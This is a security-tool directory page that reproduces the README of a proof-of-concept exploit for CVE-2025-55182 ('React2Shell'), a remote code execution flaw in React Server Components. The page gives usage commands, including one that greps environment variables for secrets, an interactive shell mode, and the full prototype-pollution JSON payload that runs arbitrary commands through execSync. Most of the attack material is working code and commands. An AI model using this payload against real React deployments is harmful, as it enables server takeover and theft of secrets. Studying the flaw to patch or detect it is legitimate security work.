Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EXPLOIT-CVE-2025-55182 — Proof-of-concept exploit for CVE-2025-55182 (React2Shell), a critical RCE vulnerability in React Server Components via prototype pollution. Includes interactive and command-line exploitation modes. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubjoaovicdev/exploit-cve-2025-55182

EXPLOIT-CVE-2025-55182

Proof-of-concept exploit for CVE-2025-55182 (React2Shell), a critical RCE vulnerability in React Server Components via prototype pollution. Includes interactive and command-line exploitation modes.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 Proof of Concept

CVE-2025-55182 React

Overview

A practical demonstration of CVE-2025-55182 (React2Shell) - a critical RCE vulnerability in React Server Components.

Vulnerability Details

  • CVE ID: CVE-2025-55182
  • Type: Remote Code Execution via Prototype Pollution
  • CVSS: 9.8 (CRITICAL)
  • Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0

Attack Vector

React Server Components deserialize FormData unsafely. Specially crafted multipart fields trigger prototype pollution and execute arbitrary code via .

child_process.execSync

Quick Setup

root@kitploit:~
npm install
pip3 install requests
npm run dev

Application runs at: http://localhost:3000


Exploitation

Basic Usage

root@kitploit:~
python3 exploit.py -c "whoami"

Command Examples

root@kitploit:~
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"

Interactive Mode

root@kitploit:~
python3 exploit.py -i
root@kitploit:~
> whoami
COMMAND RESULT:
your-username
============================================================

> pwd
COMMAND RESULT:
/path/to/project
============================================================

> exit

How It Works

Payload Structure

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

Testing

Terminal 1: Start server

root@kitploit:~
npm run dev

Terminal 2: Run exploit

root@kitploit:~
python3 exploit.py -c "whoami"

Verbose Mode

root@kitploit:~
python3 exploit.py -c "whoami" -v

Shows full payload structure and server response


References

  • CVE-2025-55182 - NVD
  • React Security
  • OWASP Deserialization

By Guaxinim | Cyber Security Research

Download Tool